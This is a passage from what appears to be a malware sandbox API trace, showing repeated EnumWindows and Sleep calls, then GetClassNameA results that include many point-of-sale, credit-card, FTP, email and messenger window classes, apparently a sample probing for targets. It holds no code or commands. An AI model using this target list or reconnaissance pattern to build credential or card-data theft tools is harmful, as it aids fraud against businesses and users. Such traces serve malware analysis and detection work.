lParam=0x2290000) [0295.223] Sleep (dwMilliseconds=0x64) [0295.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.291] Sleep (dwMilliseconds=0x64) [0295.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.382] Sleep (dwMilliseconds=0x64) [0295.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.390] Sleep (dwMilliseconds=0x64) [0295.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.418] Sleep (dwMilliseconds=0x64) [0295.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.427] Sleep (dwMilliseconds=0x64) [0295.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.435] Sleep (dwMilliseconds=0x64) [0295.442] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.443] Sleep (dwMilliseconds=0x64) [0295.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.446] Sleep (dwMilliseconds=0x64) [0295.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.448] Sleep (dwMilliseconds=0x64) [0295.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.509] Sleep (dwMilliseconds=0x64) [0295.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.558] Sleep (dwMilliseconds=0x64) [0295.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.560] Sleep (dwMilliseconds=0x64) [0295.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.562] Sleep (dwMilliseconds=0x64) [0295.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.566] Sleep (dwMilliseconds=0x64) [0295.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.568] Sleep (dwMilliseconds=0x64) [0295.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.569] Sleep (dwMilliseconds=0x64) [0295.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.571] Sleep (dwMilliseconds=0x64) [0295.573] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.573] Sleep (dwMilliseconds=0x64) [0295.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.576] Sleep (dwMilliseconds=0x64) [0295.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.578] Sleep (dwMilliseconds=0x64) [0295.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.581] Sleep (dwMilliseconds=0x64) [0295.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.583] Sleep (dwMilliseconds=0x64) [0295.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.586] Sleep (dwMilliseconds=0x64) [0295.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.610] Sleep (dwMilliseconds=0x64) [0295.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.685] Sleep (dwMilliseconds=0x64) [0295.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.695] Sleep (dwMilliseconds=0x64) [0295.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.698] Sleep (dwMilliseconds=0x64) [0295.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.701] Sleep (dwMilliseconds=0x64) [0295.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.702] Sleep (dwMilliseconds=0x64) [0295.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.704] Sleep (dwMilliseconds=0x64) [0295.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.706] Sleep (dwMilliseconds=0x64) [0295.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.708] Sleep (dwMilliseconds=0x64) [0295.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.792] Sleep (dwMilliseconds=0x64) [0295.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.813] Sleep (dwMilliseconds=0x64) [0295.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.815] Sleep (dwMilliseconds=0x64) [0295.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.824] Sleep (dwMilliseconds=0x64) [0295.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.828] Sleep (dwMilliseconds=0x64) [0295.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.830] Sleep (dwMilliseconds=0x64) [0295.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.832] Sleep (dwMilliseconds=0x64) [0295.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.834] Sleep (dwMilliseconds=0x64) [0295.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.836] Sleep (dwMilliseconds=0x64) [0295.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.838] Sleep (dwMilliseconds=0x64) [0295.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.840] Sleep (dwMilliseconds=0x64) [0295.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.842] Sleep (dwMilliseconds=0x64) [0295.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.900] Sleep (dwMilliseconds=0x64) [0295.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.966] Sleep (dwMilliseconds=0x64) [0295.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.968] Sleep (dwMilliseconds=0x64) [0295.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0295.970] Sleep (dwMilliseconds=0x64) [0295.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0295.974] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0295.974] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0295.974] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0295.974] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0295.974] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0295.974] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0295.975] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0295.975] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0295.975] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.975] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0295.975] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0295.975] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0295.975] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0295.975] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0295.975] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0295.975] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.975] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.975] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.975] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.975] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0295.976] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0295.976] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.976] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0295.976] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0295.976] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0295.976] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0295.976] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0295.976] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.976] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0295.976] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0295.976] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0295.976] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0295.977] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0295.977] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0295.977] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0295.977] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0295.977] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0295.977] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0295.977] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0295.977] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0295.977] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0295.977] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.977] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0295.977] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0295.977] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0295.977] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0295.977] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0295.977] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0295.977] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0295.977] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0295.978] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0295.978] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0295.978] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0295.978] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0295.978] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0295.978] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0295.978] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0295.978] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0295.978] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0295.978] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0295.978] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0295.978] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0295.978] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0295.978] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0295.978] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0295.978] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0295.979] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0295.979] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0295.979] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0295.979] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0295.979] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0295.979] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0295.979] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0295.979] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0295.979] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0295.979] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0295.979] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0295.979] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0295.979] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0295.979] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0295.979] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0295.979] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0295.979] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0295.980] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0295.980] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0295.980] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0295.980] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0295.980] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0295.980] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0295.980] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.980] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.980] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.980] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0295.980] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.980] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.980] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0295.980] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0295.980] GetClassNameA (in: hWnd=0x20196, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0295.981] GetClassNameA (in: hWnd=0x400f8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x501ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0295.981] GetClassNameA (in: hWnd=0x101c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0295.981] GetClassNameA (in: hWnd=0x101ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0295.981] GetClassNameA (in: hWnd=0x101aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x10148, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0295.981] GetClassNameA (in: hWnd=0x10118, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0295.981] GetClassNameA (in: hWnd=0x1010e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x10116, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0295.981] GetClassNameA (in: hWnd=0x101a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x101a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.981] GetClassNameA (in: hWnd=0x10114, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0295.982] GetClassNameA (in: hWnd=0x1010c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0295.982] GetClassNameA (in: hWnd=0x100ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0295.982] GetClassNameA (in: hWnd=0x100ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0295.982] GetClassNameA (in: hWnd=0x100e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.982] GetClassNameA (in: hWnd=0x100e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.982] GetClassNameA (in: hWnd=0x100de, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.982] GetClassNameA (in: hWnd=0x200d6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0295.982] GetClassNameA (in: hWnd=0x100be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0295.982] GetClassNameA (in: hWnd=0x60048, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0295.982] GetClassNameA (in: hWnd=0xc0240, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0295.982] GetClassNameA (in: hWnd=0x20020, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0295.982] GetClassNameA (in: hWnd=0x30016, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0295.982] GetClassNameA (in: hWnd=0x20028, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0295.982] GetClassNameA (in: hWnd=0x2004a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0295.982] GetClassNameA (in: hWnd=0x100aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0295.982] GetClassNameA (in: hWnd=0x10072, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0295.983] GetClassNameA (in: hWnd=0x1006e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0295.983] GetClassNameA (in: hWnd=0x10022, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0295.983] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0295.983] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0295.983] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0295.983] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0295.983] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.983] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0295.984] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | 